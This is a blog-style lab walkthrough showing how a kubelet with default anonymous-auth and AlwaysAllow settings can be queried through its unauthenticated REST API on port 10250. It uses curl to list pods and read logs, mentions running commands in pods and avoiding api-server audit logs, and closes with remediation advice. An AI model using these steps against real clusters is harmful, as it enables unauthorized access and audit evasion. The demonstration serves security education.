Exploiting a Kubelet running on default configuration

5 min readMar 6, 2021

In this post we will try to understand the consequences of running a kubelet with default configurations.

Kubeadm is one of the preferred tools to deploy a kubernetes cluster since it is simple to use and it handles lots of tasks in the background which otherwise might be prone to errors when done manually.

Any cluster deployed through kubeadm will follow security best practices. This means that the components deployed in the cluster will be configured in such a way that it wont be an easy task to comprise the cluster completely. A simple example would be of encrypting communication between components using TLS (SSL certificates). Another example is of disabling the default configurations (anything related to authentication,authorization and security) of all the components.

But what might possibly go wrong if we allow the components to run on default settings? Do we even need such settings which are less secure?

Let’s take Kubelet as an example and understand how running it without disabling few of its default configuration turns it into a golden pass for anyone who wants to comprise the cluster.

Kubelet’s REST API

Similar to kube-apiserver, kubelet is also exposed on a REST endpoint. As a normal user we would never interact with this endpoint directly. It’s sole purpose is for communication between control plane and kubelet. Moreover, there isn’t a proper documentation on kubelet’s api and the only way to understand it is to read the code here.

Now, having said that, it is completely possible to interact with this API directly, IF and ONLY IF kubelet is configured to accept anonymous request.

Luckily, a kubelet that is deployed through kubeadm, does not run on default settings.

Two default settings of kubelet and that’s all we need

On the official kubelet documentation, under the options section, you will find the below flags:

anonymous-auth

from kubernetes official documentation (for illustration only)

2. authorization-mode

Based on the first flag which is set to true by default, we can say that kubelet will accept request from an unauthenticated user (anonymous) and for the second flag which is set to “AlwaysAllow” by default, kubelet wont apply any authorization on the requests and hence all actions can be executed even by an anonymous user.

Exploit!

You can use any cluster that was setup using kubeadm. Perform the below steps on any worker node:

kubeadm will create a config file for kubelet. You can check this file under /var/lib/kubelet/config.yaml. Kubeadm will change the default settings to restrict anonymous access to kubelet.

apiVersion: kubelet.config.k8s.io/v1beta1
authentication:
  anonymous:
    enabled: false
  webhook:
    cacheTTL: 0s
    enabled: false
  x509:
    clientCAFile: /etc/kubernetes/pki/ca.crt
authorization:
  mode: Webhook

2. By default, kubelet will listen on port 10250. You can also do a netstat to verify that:

netstat -ntlp |grep kubelet
tcp        0      0 127.0.0.1:35325         0.0.0.0:*               LISTEN      70923/kubelet
tcp        0      0 127.0.0.1:10248         0.0.0.0:*               LISTEN      70923/kubelet
tcp6       0      0 :::10250                :::*                    LISTEN      70923/kubelet

3. Using curl command, try to hit kubelet api. You should see the message “Unauthorized”.

# curl -k https://127.0.0.1:10250/pods
Unauthorized

4. Let’s change the anonymous-auth and authorization-mode to default values of ‘true’ and ‘AlwaysAllow’ respectively.

apiVersion: kubelet.config.k8s.io/v1beta1
authentication:
  anonymous:
    enabled: true
  webhook:
    cacheTTL: 0s
    enabled: false
  x509:
    clientCAFile: /etc/kubernetes/pki/ca.crt
authorization:
  mode: AlwaysAllow

5. Save the file and restart kubelet service. Let’s try to curl the same endpoint again and this time you should be able to fetch information about all the pods currently being run by this kubelet. (optionally pipe the output to ‘jq’ to make it more readable)

root@ip-172-31-82-204:/home/ubuntu# curl -k https://127.0.0.1:10250/pods{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"kube-scheduler-ip-172-31-82-204","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-scheduler-ip-172-31-82-204","uid":"c697f10e51b92e52e8b813b0152f87b2","creationTimestamp":null,"labels":{"component":"kube-scheduler","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"c697f10e51b92e52e8b813b0152f87b2","kubernetes.io/config.seen":"2021-03-06T16:36:44.678395047Z","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"kubeconfig","hostPath": .... output trimmed

6. Not only this, you can do port forwarding, fetch stats, logs and more interestingly execute commands on all these pods. When you have lots of such information, you can easily exploit the cluster using known vulnerabilities of the container images without leaving any mark of your attempt. Importantly all these can be done by easily bypassing the api-server.

7. Let’s try out few other endpoints. Based on the pods information, I was able to find out podid and containerid for kube-proxy pod and using that I was able to query the kubelet to get the logs of that pod as below.

# curl -k https://127.0.0.1:10250/containerLogs/kube-system/kube-proxy-s2m5b/kube-proxyI0306 13:03:56.652241       1 node.go:136] Successfully retrieved node IP: 172.31.82.204
I0306 13:03:56.652329       1 server_others.go:142] kube-proxy node IP is an IPv4 address (x.x.x.x), assume IPv4 operation
W0306 13:03:56.708977       1 server_others.go:578] Unknown proxy mode "", assuming iptables proxy
I0306 13:03:56.709129       1 server_others.go:185] Using iptables Proxier.
I0306 13:03:56.710476       1 server.go:650] Version: v1.19.8
I

8. Since our request (querying pods and logs) was not handled by api-server, you wont be able to track it in api-server audit logs too.

kubeletctl

As mentioned earlier, in order to perform the above steps, we need to know the endpoints that are exposed by kubelet by reading the code here. Just look for the word “Path” and you will get an idea about the different paths exposed by kubelet api. Although this work’s, its a tedious way to do it.

Luckily, few folks have already thought about hacking the kubelet api and have created a simple but effective tool ‘kubeletctl’ that helps to exploit kubelet api without the need to know anything about the endpoints exposed by kubelet.

You can check the Github repo for more information about this tool. Also don’t forget to check out their post on how this tool can be used effectively.

Few of the commands that I ran using this tool:

Back to safety

Edit the kubelet config.yaml file and change the values of anonymous-auth and authorization-mode back to ‘false’ and ‘Webhook’ respectively. Restart the kubelet service and now you can no more interact with kubelet as an anonymous user. You can still communicate with kubelet directly if you have valid certs (which in most cases will be available under /var/lib/kubelet/pki directory on the worker nodes).

So what’s the big deal

For anyone dealing with design and implementation of cluster for running production workloads, this is one of the important aspects that has to be considered. Running the cluster on default settings is not a good practice from security stand point.

Managed kubernetes platforms like AKS,EKS or GCP are much safer options since the the cluster will follow security standards.

For self managed clusters, we have to make sure to change any default settings that might affect the overall security of the cluster.

Let me know what do you think about it. Thanks for stopping by!